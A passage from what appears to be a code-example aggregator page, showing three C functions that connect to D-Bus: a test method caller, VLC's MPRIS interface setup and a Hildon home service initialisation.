	DBusMessage* msg;
	DBusMessageIter args;
	DBusConnection* conn;
	DBusError err;
	DBusPendingCall* pending;
	int ret;
	char *stat;
	dbus_uint32_t level;

//	printf("broadcast_and_wait_response-----Calling remote method\n");
	// initialiset the errors

	dbus_error_init(&err);

	// connect to the system bus and check for errors
	conn = dbus_bus_get(DBUS_BUS_SYSTEM, &err);
	if (dbus_error_is_set(&err)) {
		fprintf(stderr, "Connection Error (%s)\n", err.message);
		dbus_error_free(&err);
	}
	if (NULL == conn) {
		exit(1);
	}

	// request our name on the bus
	ret = dbus_bus_request_name(conn, "test.method.caller", DBUS_NAME_FLAG_REPLACE_EXISTING, &err);
	if (dbus_error_is_set(&err)) {
		fprintf(stderr, "Name Error (%s)\n", err.message);
		dbus_error_free(&err);
	}
	if (DBUS_REQUEST_NAME_REPLY_PRIMARY_OWNER != ret) {
		exit(1);
	}

	char name_[50];
	sprintf(name_,"test.method.%s",server_name);
	// create a new method call and check for errors
	msg = dbus_message_new_method_call(name_, // target for the method call
			"/test/method/Object", // object to call on
			"test.method.Type", // interface to call on
			"Method"); // method name
	if (NULL == msg) {
		fprintf(stderr, "Message Null\n");
		exit(1);
	}

	char *param = "hello hanmeimei..";
	// append arguments
	dbus_message_iter_init_append(msg, &args);
	if (!dbus_message_iter_append_basic(&args, DBUS_TYPE_STRING, &param)) {
		fprintf(stderr, "Out Of Memory!\n");
		exit(1);
	}

	// send message and get a handle for a reply
	if (!dbus_connection_send_with_reply(conn, msg, &pending, -1)) { // -1 is default timeout
		fprintf(stderr, "Out Of Memory!\n");
		exit(1);
	}
	if (NULL == pending) {
		fprintf(stderr, "Pending Call Null\n");
		exit(1);
	}
	dbus_connection_flush(conn);

	// free message
	dbus_message_unref(msg);

//	printf("broadcast_and_wait_response-----...............wait........\n");

	// block until we recieve a reply
	dbus_pending_call_block(pending);

//	printf("broadcast_and_wait_response-----now reply........come in..\n");

	// get the reply message
	msg = dbus_pending_call_steal_reply(pending);
	if (NULL == msg) {
		fprintf(stderr, "Reply Null\n");
		exit(1);
	}
	// free the pending message handle
	dbus_pending_call_unref(pending);

	stat = (char*)malloc(128);
	// read the parameters
	if (!dbus_message_iter_init(msg, &args))
		fprintf(stderr, "Message has no arguments!\n");
	else if (DBUS_TYPE_STRING != dbus_message_iter_get_arg_type(&args))
		fprintf(stderr, "Argument is not string!\n");
	else
		dbus_message_iter_get_basic(&args, &stat);

	if (!dbus_message_iter_next(&args))
		fprintf(stderr, "Message has too few arguments!\n");
	else if (DBUS_TYPE_UINT32 != dbus_message_iter_get_arg_type(&args))
		fprintf(stderr, "Argument is not int!\n");
	else
		dbus_message_iter_get_basic(&args, &level);

//	printf("broadcast_and_wait_response----Got Reply: %s, %d\n", stat, level);
	printf("%s, %d\n", stat, level);

	// free reply and close connection
	dbus_message_unref(msg);
//	dbus_connection_close(conn);
}
示例#29
0
文件: dbus.c 项目: FLYKingdom/vlc
static int Open( vlc_object_t *p_this )
{ /* initialisation of the connection */
    intf_thread_t   *p_intf = (intf_thread_t*)p_this;
    intf_sys_t      *p_sys  = malloc( sizeof( intf_sys_t ) );
    playlist_t      *p_playlist;
    DBusConnection  *p_conn;
    DBusError       error;

    if( !p_sys )
        return VLC_ENOMEM;

    p_sys->b_meta_read = false;
    p_sys->i_caps = CAPS_NONE;
    p_sys->b_dead = false;

    dbus_error_init( &error );

    /* connect to the session bus */
    p_conn = dbus_bus_get( DBUS_BUS_SESSION, &error );
    if( !p_conn )
    {
        msg_Err( p_this, "Failed to connect to the D-Bus session daemon: %s",
                error.message );
        dbus_error_free( &error );
        free( p_sys );
        return VLC_EGENERIC;
    }

    /* register a well-known name on the bus */
    dbus_bus_request_name( p_conn, VLC_MPRIS_DBUS_SERVICE, 0, &error );
    if( dbus_error_is_set( &error ) )
    {
        msg_Err( p_this, "Error requesting service " VLC_MPRIS_DBUS_SERVICE
                 ": %s", error.message );
        dbus_error_free( &error );
        free( p_sys );
        return VLC_EGENERIC;
    }

    /* we register the objects */
    dbus_connection_register_object_path( p_conn, MPRIS_DBUS_ROOT_PATH,
            &vlc_dbus_root_vtable, p_this );
    dbus_connection_register_object_path( p_conn, MPRIS_DBUS_PLAYER_PATH,
            &vlc_dbus_player_vtable, p_this );
    dbus_connection_register_object_path( p_conn, MPRIS_DBUS_TRACKLIST_PATH,
            &vlc_dbus_tracklist_vtable, p_this );

    dbus_connection_flush( p_conn );

    p_intf->pf_run = Run;
    p_intf->p_sys = p_sys;
    p_sys->p_conn = p_conn;
    p_sys->p_events = vlc_array_new();
    vlc_mutex_init( &p_sys->lock );

    p_playlist = pl_Hold( p_intf );
    PL_LOCK;
    var_AddCallback( p_playlist, "item-current", AllCallback, p_intf );
    var_AddCallback( p_playlist, "intf-change", AllCallback, p_intf );
    var_AddCallback( p_playlist, "playlist-item-append", AllCallback, p_intf );
    var_AddCallback( p_playlist, "playlist-item-deleted", AllCallback, p_intf );
    var_AddCallback( p_playlist, "random", AllCallback, p_intf );
    var_AddCallback( p_playlist, "repeat", AllCallback, p_intf );
    var_AddCallback( p_playlist, "loop", AllCallback, p_intf );
    PL_UNLOCK;
    pl_Release( p_intf );

    UpdateCaps( p_intf );

    return VLC_SUCCESS;
}
static void
hd_hildon_home_dbus_init (HDHildonHomeDBus *dbus)
{
  HDHildonHomeDBusPrivate *priv;
  DBusGProxy *bus_proxy;
  GError *error = NULL;
  guint result;
  DBusError derror;

  priv = dbus->priv = HD_HILDON_HOME_DBUS_GET_PRIVATE (dbus);

  dbus->priv->connection = dbus_g_bus_get (DBUS_BUS_SESSION, &error);

  if (error != NULL)
    {
      g_warning ("Failed to open connection to session bus: %s\n",
                 error->message);
      g_error_free (error);
      return;
    }

  dbus_error_init (&derror);
  dbus->priv->sysbus_conn = dbus_bus_get (DBUS_BUS_SYSTEM, &derror);

  if (dbus_error_is_set (&derror))
    {
      g_warning ("Failed to open connection to system bus: %s\n",
                 derror.message);
      dbus_error_free (&derror);
      return;
    }

  bus_proxy = dbus_g_proxy_new_for_name (dbus->priv->connection,
                                         DBUS_SERVICE_DBUS,
                                         DBUS_PATH_DBUS,
                                         DBUS_INTERFACE_DBUS);

  if (!org_freedesktop_DBus_request_name (bus_proxy,
                                          HD_HILDON_HOME_DBUS_DBUS_NAME,
                                          DBUS_NAME_FLAG_ALLOW_REPLACEMENT |
                                          DBUS_NAME_FLAG_REPLACE_EXISTING |
                                          DBUS_NAME_FLAG_DO_NOT_QUEUE,
                                          &result, 
                                          &error))
    {
      g_warning ("Could not register name: %s", error->message);

      g_error_free (error);

      return;
    }

  g_object_unref (bus_proxy);

  if (result == DBUS_REQUEST_NAME_REPLY_EXISTS) return;

  dbus_g_object_type_install_info (HD_TYPE_HILDON_HOME_DBUS,
                                   &dbus_glib_hd_hildon_home_dbus_object_info);

  dbus_g_connection_register_g_object (dbus->priv->connection,
                                       HD_HILDON_HOME_DBUS_DBUS_PATH,
                                       G_OBJECT (dbus));

  g_debug ("%s registered to session bus at %s", HD_HILDON_HOME_DBUS_DBUS_NAME, HD_HILDON_HOME_DBUS_DBUS_PATH);

  dbus->priv->hd_home_proxy = dbus_g_proxy_new_for_name (dbus->priv->connection,
                                                         HD_HILDON_DESKTOP_HOME_DBUS_NAME,
                                                         HD_HILDON_DESKTOP_HOME_DBUS_PATH,
                                                         HD_HILDON_DESKTOP_HOME_DBUS_NAME);

  /* listen to shutdown_ind from DSME */
  dbus_bus_add_match (dbus->priv->sysbus_conn,
                      "type='signal', "
                      "interface='" DSME_SIGNAL_INTERFACE "', "
                      "member='" DSME_SHUTDOWN_SIGNAL_NAME "'",
                      NULL);
  dbus_connection_add_filter (dbus->priv->sysbus_conn,
                              hd_hildon_home_system_bus_signal_handler,
                              NULL, NULL);

  /* 
   * Create menu here so we have a window to listen for
   * theme changes
   */

  priv->menu = hd_edit_mode_menu_new ();
}